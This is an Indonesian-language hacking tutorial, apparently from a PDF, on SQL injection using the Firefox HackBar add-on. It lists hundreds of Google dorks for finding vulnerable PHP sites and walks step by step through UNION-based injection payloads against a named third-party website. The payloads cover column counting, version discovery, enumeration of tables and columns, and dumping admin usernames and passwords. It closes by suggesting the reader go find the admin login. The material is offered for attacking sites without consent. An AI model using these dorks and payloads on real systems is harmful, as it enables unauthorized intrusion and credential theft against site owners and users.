SQL Injection Dengan HackBar
SQL Injection Dengan HackBar
Apa itu SQL Injection ? SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat meng insert perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter : id=$id;. >
Got Error
Hal pertama yang harus kamu lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter setelah / sesudah angka pada url Contoh : http://situsq.com/berita.php?id=14 http://situsq.com/berita.php?id=14
Apabila terlihat pesan error seperti ini : You have an error in your SQL syntax.You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1 Maka bisa dipastikan situs tersebut terdapat celah SQL Injection
[ by : x1nj3ct ]
Page 1
Sedang kan Apa itu hackbar? Hackbar adalah sebuah addons browser Firefox yang fungsinya cukup bnyak.. saya bikin postingan ini karena sekarang lagi sering pake addons ini, khususnya untuk programing web..
Hackbar ini sebenarnya berfungsi untuk menguji sistem kita misalnya dari sql injection.. atau XSS attack.. atau mengenkripsi password md5 ataupun SHA-1 Hackbar bias di dapat disini: https://addons.mozilla.org/id/firefox/addon/hackbar/ Sekarang kita mulai SQL Injectionnya Pertama yang kita lakukan adalah mencari web yang vuln SQLi ( ada bug sqlinjection ) dengan sebuah dork
inurl:trainers.php?id= inurl:buy.php?category= inurl:article.php?ID= inurl:play_old.php?id= inurl:declaration_more.php?decl_id= inurl:pageid= inurl:games.php?id= inurl:page.php?file= inurl:newsDetail.php?id= inurl:gallery.php?id= inurl:article.php?id= inurl:show.php?id= inurl:staff_id= inurl:newsitem.php?num= inurl:readnews.php?id= inurl:top10.php?cat= inurl:historialeer.php?num= inurl:reagir.php?num= inurl:Stray-Questions-View.php?num= inurl:forum_bds.php?num= inurl:game.php?id= inurl:view_product.php?id= inurl:newsone.php?id= inurl:sw_comment.php?id= inurl:news.php?id= inurl:avd_start.php?avd= inurl:event.php?id=
[ by : x1nj3ct ]
Page 2
inurl:product-item.php?id= inurl:sql.php?id= inurl:news_view.php?id= inurl:select_biblio.php?id= inurl:humor.php?id= inurl:aboutbook.php?id= inurl:ogl_inet.php?ogl_id= inurl:fiche_spectacle.php?id= inurl:communique_detail.php?id= inurl:sem.php3?id= inurl:kategorie.php4?id= inurl:news.php?id= inurl:index.php?id= inurl:faq2.php?id= inurl:show_an.php?id= inurl:preview.php?id= inurl:loadpsb.php?id= inurl:opinions.php?id= inurl:spr.php?id= inurl:pages.php?id= inurl:announce.php?id= inurl:clanek.php4?id= inurl:participant.php?id= inurl:download.php?id= inurl:main.php?id= inurl:review.php?id= inurl:chappies.php?id= inurl:read.php?id= inurl:prod_detail.php?id= inurl:viewphoto.php?id= inurl:article.php?id= inurl:person.php?id= inurl:productinfo.php?id= inurl:showimg.php?id= inurl:view.php?id= inurl:website.php?id= inurl:hosting_info.php?id= inurl:gallery.php?id= inurl:rub.php?idr= inurl:view_faq.php?id= inurl:artikelinfo.php?id= inurl:detail.php?ID= inurl:index.php?= inurl:profile_view.php?id= inurl:category.php?id= inurl:publications.php?id= inurl:fellows.php?id= inurl:downloads_info.php?id= inurl:prod_info.php?id= inurl:shop.php?do=part&id= inurl:productinfo.php?id= inurl:collectionitem.php?id= inurl:band_info.php?id=
[ by : x1nj3ct ]
Page 3
inurl:product.php?id= inurl:releases.php?id= inurl:ray.php?id= inurl:produit.php?id= inurl:pop.php?id= inurl:shopping.php?id= inurl:productdetail.php?id= inurl:post.php?id= inurl:viewshowdetail.php?id= inurl:clubpage.php?id= inurl:memberInfo.php?id= inurl:section.php?id= inurl:theme.php?id= inurl:page.php?id= inurl:shredder-categories.php?id= inurl:tradeCategory.php?id= inurl:product_ranges_view.php?ID= inurl:shop_category.php?id= inurl:transcript.php?id= inurl:channel_id= inurl:item_id= inurl:newsid= inurl:trainers.php?id= inurl:news-full.php?id= inurl:news_display.php?getid= inurl:index2.php?option= inurl:readnews.php?id= inurl:top10.php?cat= inurl:newsone.php?id= inurl:event.php?id= inurl:product-item.php?id= inurl:sql.php?id= inurl:aboutbook.php?id= inurl:preview.php?id= inurl:loadpsb.php?id= inurl:pages.php?id= inurl:material.php?id= inurl:clanek.php4?id= inurl:announce.php?id= inurl:chappies.php?id= inurl:read.php?id= inurl:viewapp.php?id= inurl:viewphoto.php?id= inurl:rub.php?idr= inurl:galeri_info.php?l= inurl:review.php?id= inurl:iniziativa.php?in= inurl:curriculum.php?id= inurl:labels.php?id= inurl:story.php?id= inurl:look.php?ID= inurl:newsone.php?id= inurl:aboutbook.php?id=
[ by : x1nj3ct ]
Page 4
inurl:material.php?id= inurl:opinions.php?id= inurl:announce.php?id= inurl:rub.php?idr= inurl:galeri_info.php?l= inurl:tekst.php?idt= inurl:newscat.php?id= inurl:newsticker_info.php?idn= inurl:rubrika.php?idr= inurl:rubp.php?idr= inurl:offer.php?idf= inurl:art.php?idm= inurl:title.php?id= buy.php?category= article.php?ID= play_old.php?id= declaration_more.php?decl_id= Pageid= games.php?id= page.php?file= newsDetail.php?id= gallery.php?id= article.php?id= play_old.php?id= show.php?id= staff_id= newsitem.php?num= readnews.php?id= top10.php?cat= historialeer.php?num= reagir.php?num= forum_bds.php?num= game.php?id= view_product.php?id= newsone.php?id= sw_comment.php?id= news.php?id= avd_start.php?avd= event.php?id= product-item.php?id= sql.php?id= news_view.php?id= select_biblio.php?id= humor.php?id= aboutbook.php?id= fiche_spectacle.php?id= communique_detail.php?id= sem.php3?id= kategorie.php4?id= faq2.php?id= show_an.php?id= preview.php?id= loadpsb.php?id=
[ by : x1nj3ct ]
Page 5
opinions.php?id= spr.php?id= pages.php?id= announce.php?id= clanek.php4?id= participant.php?id= download.php?id= main.php?id= review.php?id= chappies.php?id= read.php?id= prod_detail.php?id= viewphoto.php?id= article.php?id= play_old.php?id= declaration_more.php?decl_id= category.php?id= publications.php?id= fellows.php?id= downloads_info.php?id= prod_info.php?id= shop.php?do=part&id= Productinfo.php?id= website.php?id= Productinfo.php?id= showimg.php?id= view.php?id= rub.php?idr= view_faq.php?id= artikelinfo.php?id= detail.php?ID= collectionitem.php?id= band_info.php?id= product.php?id= releases.php?id= ray.php?id= produit.php?id= pop.php?id= shopping.php?id= productdetail.php?id= post.php?id= viewshowdetail.php?id= clubpage.php?id= memberInfo.php?id= section.php?id= theme.php?id= page.php?id= shredder-categories.php?id= tradeCategory.php?id= shop_category.php?id= transcript.php?id= channel_id= item_id=
[ by : x1nj3ct ]
Page 6
newsid= trainers.php?id= buy.php?category= article.php?ID= play_old.php?id= iniziativa.php?in= detail_new.php?id= tekst.php?idt= newscat.php?id= newsticker_info.php?idn= rubrika.php?idr= rubp.php?idr= offer.php?idf= hotel.php?id= art.php?idm= title.php?id= look.php?ID= story.php?id= labels.php?id= review.php?id= chappies.php?id= news-full.php?id= news_display.php?getid= index2.php?option= ages.php?id= "id=" & intext:"Warning: mysql_fetch_assoc() "id=" & intext:"Warning: mysql_fetch_array() "id=" & intext:"Warning: mysql_num_rows() "id=" & intext:"Warning: session_start() "id=" & intext:"Warning: getimagesize() "id=" & intext:"Warning: Unknown() "id=" & intext:"Warning: pg_exec() "id=" & intext:"Warning: array_merge() "id=" & intext:"Warning: mysql_result() "id=" & intext:"Warning: mysql_num_rows() "id=" & intext:"Warning: mysql_query() "id=" & intext:"Warning: filesize() "id=" & intext:"Warning: require()
Sebenarnya dork itu banyak tapi kemnculan dork-dork baru tergantung kreatifitas individu masing-masing Copas ( copy paste ) salah satu dork tersebut ke google search Setelah itu kita pilih salah satu url dari hasil dork tersebut Contoh: http://www.zenfocus.com/partners.php?id=2 sekarang kita tes url tersebuta apakah vuln SQLi apa tidak dengan menambahkan tanda di belakang angka [ by : x1nj3ct ] Page 7
contoh:
Di gambar tersebut kita lihat bahwa situs ini vuln SQLi ( mempunyai bug SQL injection) Sekarang kita cari tau jumlah table di databasenya dengan perintah order by Bagaimana kita agar mengetahui jumlah table di database yaitu dengan cara melihat awal terjadinya error kembali Contoh: http://www.zenfocus.com/partners.php?id=2 order by 1-http://www.zenfocus.com/partners.php?id=2 order by 2-http://www.zenfocus.com/partners.php?id=2 order by 3-http://www.zenfocus.com/partners.php?id=2 order by 4-http://www.zenfocus.com/partners.php?id=2 order by 5-http://www.zenfocus.com/partners.php?id=2 order by 6-http://www.zenfocus.com/partners.php?id=2 order by 7- no error no error no error no error no error no error error
[ by : x1nj3ct ]
Page 8
Berarti jumlah kolom pada database nya ada 6 kolom Langkah selanjutnya yaitu mengetahui dimana angka-angka yang bisa di buat injection / tempat kita memasukkan perintah-perintah selanjutnya. Cara untuk mengetahui angka-angka tersebut ialah dengan mengganti perintah order by dengan union select disertai berapa jumlah kolom yang kita temukan tadi dan tanda di depan angka Contoh: http://www.zenfocus.com/partners.php?id=-2 union select 1,2,3,4,5, 6--
[ by : x1nj3ct ]
Page 9
Di gambar tersebut kita lihat muncul angka 2 dan 3 nah itulah yang kita maksud dengan angka yang kita buat memasukan perintah-perintah selanjutnya Sekarang tahap selanjutnya ialah mengetahui versi database nya Caranya ialah dengan memasukan perintah @@version atau version() kedalam salah satu angka yang muncul tadi Contoh: http://www.zenfocus.com/partners.php?id=-2 union select 1,@@version,3,4,5, 6--
Nahh di gambar kita bisa lihat muncul 5.0.96 itu berarti database web tersebut versi 5 berarti kita beruntung karena jika kita menemukan versi 4. maka kita akan kerepotan karena jenis perintah SQL nya berbeda yaitu dengan menebak 1 per 1 tabel yang ada di dalam database tersebut Sekarang kita melangkah ke tahap selanjutnya yaitu memunculkan nama-nama table yang ada di dalam web tersebut dengan mengganti perintah @@version dengan group_concat(table_name) dan menambahkan perintah from information_schema.tables where table_schema=database() sesudah angka terakhir , sebelum tanda --
[ by : x1nj3ct ]
Page 10
Dari gambar tersebut terlihat ada table admin jika kita menemukan web lain dan di dalamnya tidak ada table admin maka biasanya user pass admin terletak pada kolom administrator atau user tinggal pandai-pandainya kita mencermati setiap tabel yang kita curigai sebagai tempat user pass admin. Tahap selanjutnya yaitu mengetahui kolom yang ada pada table admin tersebut Degan cara mengganti perintah table_name yang ada berada dalam perintah group_concat(table_name) dengan perintah column_name menjadi group_concat(column_name) dan mengganti perintah .tables yang berada di perintah information_schema.tables dengan perintah .columns menjadi information_schema.columns juga mengganti perintah table_schema=database() dengan perintah table_name=
[ by : x1nj3ct ]
Page 11
dan di ikuti hasil convert MySQL CHAR() nah disini keuntungan dari kita memakai hackbar yaitu kita tidak perlu mencari converter MySQL CHAR() ke web-web lain karena hackbar sudah menyediakanya letaknya: klik tombol SQL MySQL MySQL CHAR()
setelah itu akan muncul javaScript Aplication sebagai berikut: kita copas ( copy paste ) nama kolom yang berada dalam table yang kita curigai sebagai tempat tersimpanya user pass admin contoh tadi kita menemukan table admin jadi kita copas ( copy paste ) admin kedalam javaScript Aplication tersebut setelah itu klik ok sehingga perintah kita menjadi http://www.zenfocus.com/partners.php?id=-2 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)-- Setelah itu tekan Execute Dan hasilnya
[ by : x1nj3ct ]
Page 12
Nahh muncul kolom adminId,adminName,adminPass Sekarang langkah selanjutnya ialah membuka data2 yang ada dalam kolom-kolom yang muncul tersebut. Caranya ialah mengganti perintah column_name yang berada di perintah group_concat(table_name) dengan nama-nama kolom yang kita temukan tadi yaitu adminId,adminName,adminPass sehingga menjadi group_concat(adminId,adminName,adminPass) dan mengganti perintah from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110) dengan perintah from admin perintah admin ini saya dapat dari nama table yang kita temukan tadi, jangan lupa menambahkan perintah 0x3a pada sela-sela nama kolom tadi 0x3a adalah hasil hexa dari tanda : Sehingga jika digabung perintah nya menjadi http://www.zenfocus.com/partners.php?id=-2 union select 1,group_concat(adminId,0x3a,adminName,0x3a,adminPass),3,4,5,6 from admin
tekan Execute
[ by : x1nj3ct ]
Page 13
Dan hasilnya
Setelah itu tinggal nyari admin loginya heheheheh Sebenarnya banyak variasi sql injection semunya tergantung individu masing-masing mau pakai cara mana yang paling nyaman buat dia Ingat
Jika kalian jatuh bangkitlah, jika kalian jatuh lagi maka bangkitlah
lagi, dan jika kalian masih jatuh juga maka jangan pernah putus asa untuk bangkit lagi
Salam dari saya
[ by : x1nj3ct ]
Page 14